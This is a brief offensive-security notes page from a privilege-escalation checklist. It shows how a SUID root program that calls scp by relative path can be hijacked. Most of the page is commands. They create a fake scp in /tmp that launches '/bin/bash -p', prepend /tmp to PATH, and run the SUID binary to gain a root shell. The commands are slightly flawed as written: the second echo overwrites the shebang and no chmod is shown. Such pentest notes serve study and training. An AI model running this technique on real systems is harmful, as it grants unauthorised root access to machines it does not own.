> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/linux-unix/checklist-privesc/relative-path-in-suid-program.md).

# Relative Path in SUID Program

```
-rwsr-xr-x  1 root root  10K 1970-01-01 00:01 testprogram
$ cat testprogram

scp -r file/some/* ...
```

Using relative path for program! It should be as /usr/bin/scp. We can manipulate it by adding working dir to the path variable.

```
$ cd /tmp

$ echo "#\!/bin/sh" > scp
$ echo "/bin/bash -p" > scp

$ export PATH=/tmp:$PATH

$ testprogram
```